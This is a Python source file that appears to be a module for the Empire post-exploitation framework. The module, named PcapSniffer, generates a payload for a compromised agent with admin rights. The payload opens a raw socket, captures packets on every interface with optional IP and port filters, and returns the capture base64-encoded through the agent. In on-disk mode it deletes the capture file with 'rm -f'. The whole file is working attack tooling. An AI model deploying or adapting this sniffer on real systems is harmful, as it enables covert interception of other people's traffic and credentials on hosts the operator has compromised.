Files
2017-09-21 22:59:08 -04:00

281 lines
11 KiB
Python

class Module:
def __init__(self, mainMenu, params=[]):
# metadata info about the module, not modified during runtime
self.info = {
# name for the module that will appear in module menus
'Name': 'PcapSniffer',
# list of one or more authors for the module
'Author': ['@Killswitch_GUI'],
# more verbose multi-line description of the module
'Description': 'This module will sniff all interfaces on the target, and write in pcap format.',
# True if the module needs to run in the background
'Background': False,
# File extension to save the file as
'OutputExtension': "pcap",
# if the module needs administrative privileges
'NeedsAdmin': True,
# True if the method doesn't touch disk/is reasonably opsec safe
'OpsecSafe': False,
# the module language
'Language' : 'python',
# the minimum language version needed
'MinLanguageVersion' : '2.6',
# list of any references/other comments
'Comments': ['For full comments and code: https://gist.github.com/killswitch-GUI/314e79581f2619a18d94c81d53e5466f']
}
# any options needed by the module, settable during runtime
self.options = {
# format:
# value_name : {description, required, default_value}
'Agent': {
# The 'Agent' option is the only one that MUST be in a module
'Description' : 'Agent to run sniffer on.',
'Required' : True,
'Value' : ''
},
'IpFilter': {
'Description' : 'Set IP to filter on (dst & src).',
'Required' : False,
'Value' : '0'
},
'PortFilter': {
'Description' : 'Set port to filter on (dst & src).',
'Required' : False,
'Value' : '0'
},
'MaxSize': {
'Description' : 'Set max file size to save to disk/memory (MB).',
'Required' : True,
'Value' : '1'
},
'MaxPackets': {
'Description' : 'Set max packets to capture.',
'Required' : True,
'Value' : '100'
},
'InMemory': {
'Description' : 'Store binary data in memory, never drop to disk (WARNING: set MaxSize).',
'Required' : False,
'Value' : 'True'
},
'SavePath': {
'Description' : 'Path of the file to save (Not used if InMemory is True.',
'Required' : True,
'Value' : '/tmp/debug.pcap'
}
}
# save off a copy of the mainMenu object to access external functionality
# like listeners/agent handlers/etc.
self.mainMenu = mainMenu
# During instantiation, any settable option parameters
# are passed as an object set to the module and the
# options dictionary is automatically set. This is mostly
# in case options are passed on the command line
if params:
for param in params:
# parameter format is [Name, Value]
option, value = param
if option in self.options:
self.options[option]['Value'] = value
def generate(self, obfuscate=False, obfuscationCommand=""):
savePath = self.options['SavePath']['Value']
inMemory = self.options['InMemory']['Value']
maxPackets = self.options['MaxPackets']['Value']
maxSize = self.options['MaxSize']['Value']
portFilter = self.options['PortFilter']['Value']
ipFilter = self.options['IpFilter']['Value']
if ipFilter != '0':
ipFilter = "'" + str(ipFilter) + "'"
# the Python script itself, with the command to invoke
# for execution appended to the end. Scripts should output
# everything to the pipeline for proper parsing.
#
# the script should be stripped of comments, with a link to any
# original reference script included in the comments.
script = """
import socket, time
from datetime import datetime
import struct
def outputPcapPFile(fileName, inMemory=False):
pcapHeader = struct.pack("@IHHIIII",0xa1b2c3d4,2,4,0,0,0x040000,1)
if inMemory:
return pcapHeader
with open(str(fileName), 'wb+') as f:
f.write(pcapHeader)
def ouputPcapPacket(fileName, pLen, packet, inMemory=False):
t0, t1, t2, t3, t4, t5, t6, t7, t8 = time.gmtime()
tstamp = time.mktime((t0, t1, t2, t3, t4, t5, 0, 0, 0))
dt = datetime.now()
mstamp = dt.microsecond
pcapPacket = struct.pack("@IIII",tstamp,mstamp,pLen,pLen)
if inMemory:
return pcapPacket
with open(str(fileName), 'ab+') as f:
f.write(pcapPacket)
f.write(packet)
def parseEthernetHeader(data):
dst = struct.unpack('!BBBBBB',data[:6]) # destination host address
src = struct.unpack('!BBBBBB',data[6:12]) # source host address
nextType = struct.unpack('!H',data[12:14])[0] # IP? ARP? RARP? etc
return dst, src, nextType
def parseIpHeader(data):
ihl = struct.unpack('!B',data[14:15])[0] # 4 bit version 4 bit ihl
tos = struct.unpack('!B',data[15:16])[0] # Type of service
totalLen = struct.unpack('!H',data[16:18])[0] # IP header length
ident = struct.unpack('!H',data[18:20])[0] # IP ident
fragFlags = struct.unpack('!H',data[20:22])[0] # Frag_and_flags
ttl = struct.unpack('!B',data[22:23])[0] # Packet Time-to-Live
proto = struct.unpack('!B',data[23:24])[0] # Next protocol
checksum = struct.unpack('!H',data[24:26])[0] # checksum
sourceIp = struct.unpack('!I',data[26:30])[0] # Source IP addr
destIp = struct.unpack('!I',data[30:34])[0] # Dest IP addr
sourceIpStr = parseIpAddr(data[26:30]) # hton ip
destIpStr = parseIpAddr(data[30:34]) # hton ip
return proto, sourceIpStr, destIpStr
def parseTcpHeader(data):
sourcePort = struct.unpack('!H',data[34:36])[0] # source port (set pointer to end of IP Header)
destPort = struct.unpack('!H',data[36:38])[0] # destination port
sequence = struct.unpack('!I',data[38:42])[0] # sequence number - 32 bits
acknowledge = struct.unpack('!I',data[42:46])[0] # acknowledgement number - 32 bits
return sourcePort, destPort
def parseUdpHeader(data):
sourcePort = struct.unpack('!H',data[34:36])[0] # source port (set pointer to end of IP Header)
destPort = struct.unpack('!H',data[36:38])[0] # destination port
udpLength = struct.unpack('!H',data[38:40])[0] # Udp packet length
udpChecksum = struct.unpack('!H',data[40:42])[0] # Udp checksum (optional)
return sourcePort, destPort
def parseIcmpHeader(data):
typeCode = struct.unpack('!H',data[34:36])[0] # ICMP Error type
code = struct.unpack('!H',data[36:38])[0] # Type sub code
checksum = struct.unpack('!H',data[38:40])[0] # checksum
idCode = struct.unpack('!H',data[40:42])[0] # ICMP ID code
seq = struct.unpack('!H',data[42:44])[0] # Seq number
def parseIpAddr(data):
ipOct = []
ipOct.append(str(struct.unpack('!B', data[0:1])[0])) # octet 1
ipOct.append(str(struct.unpack('!B', data[1:2])[0])) # octet 2
ipOct.append(str(struct.unpack('!B', data[2:3])[0])) # octet 3
ipOct.append(str(struct.unpack('!B', data[3:4])[0])) # octet 4
ipStr = '.'.join(ipOct)
return ipStr
def socketSniffer(fileName,ipFilter,portFilter,maxSize, maxPackets, inMemory):
try:
s = socket.socket(socket.AF_PACKET, socket.SOCK_RAW ,socket.ntohs(0x0003))
except socket.error , msg:
return
# build pcap file header and output
memoryPcap = ''
if inMemory:
memoryPcap += outputPcapPFile(fileName, inMemory=inMemory)
else:
outputPcapPFile(fileName, inMemory=inMemory)
packetCounter = 0
sizeCounter = 0
maxSize = maxSize * 1024 * 1024
while (packetCounter < maxPackets):
if (sizeCounter > maxSize):
break
packet = s.recvfrom(65565)
pLen = len(packet[0])
if (ipFilter or portFilter):
packetOut = False
dst, src, nextType = parseEthernetHeader(packet[0])
if (hex(nextType) == hex(0x800)):
proto, sourceIpStr, destIpStr = parseIpHeader(packet[0])
# ICMP (1)
# TCP (6)
# UDP (17)
if (proto == 6):
sourcePort, destPort = parseTcpHeader(packet[0])
if ipFilter and portFilter:
if (ipFilter == sourceIpStr or ipFilter == destIpStr) and (portFilter == sourcePort or portFilter == destPort):
packetOut = True
elif (ipFilter == sourceIpStr or ipFilter == destIpStr):
packetOut = True
elif (portFilter == sourcePort or portFilter == destPort):
packetOut = True
elif (proto == 17):
sourcePort, destPort = parseUdpHeader(packet[0])
if ipFilter and portFilter:
if (ipFilter == sourceIpStr or ipFilter == destIpStr) and (portFilter == sourcePort or portFilter == destPort):
packetOut = True
elif (ipFilter == sourceIpStr or ipFilter == destIpStr):
packetOut = True
elif (portFilter == sourcePort or portFilter == destPort):
packetOut = True
else:
if (ipFilter == sourceIpStr or ipFilter == destIpStr):
packetOut = True
if packetOut:
if inMemory:
memoryPcap += ouputPcapPacket(fileName ,pLen, packet[0], inMemory=inMemory)
memoryPcap += packet[0]
sizeCounter += pLen
packetCounter += 1
else:
ouputPcapPacket(fileName ,pLen, packet[0], inMemory=inMemory)
sizeCounter += pLen
packetCounter += 1
else:
if inMemory:
memoryPcap += ouputPcapPacket(fileName ,pLen, packet[0], inMemory=inMemory)
memoryPcap += packet[0]
sizeCounter += pLen
packetCounter += 1
else:
ouputPcapPacket(fileName ,pLen, packet[0], inMemory=inMemory)
sizeCounter += pLen
packetCounter += 1
try:
if inMemory:
print memoryPcap
else:
f = open('%s', 'rb')
data = base64.b64encode(f.read())
f.close()
run_command('rm -f %s')
print data
except Exception as e:
print e
fileNameSave = '%s'
ipFilter = %s
portFilter = %s
maxSize = %s
maxPackets = %s
inMemory = %s
socketSniffer(fileNameSave,ipFilter,portFilter,maxSize,maxPackets, inMemory)
""" % (savePath, savePath, savePath, ipFilter, portFilter, maxSize, maxPackets, inMemory)
return script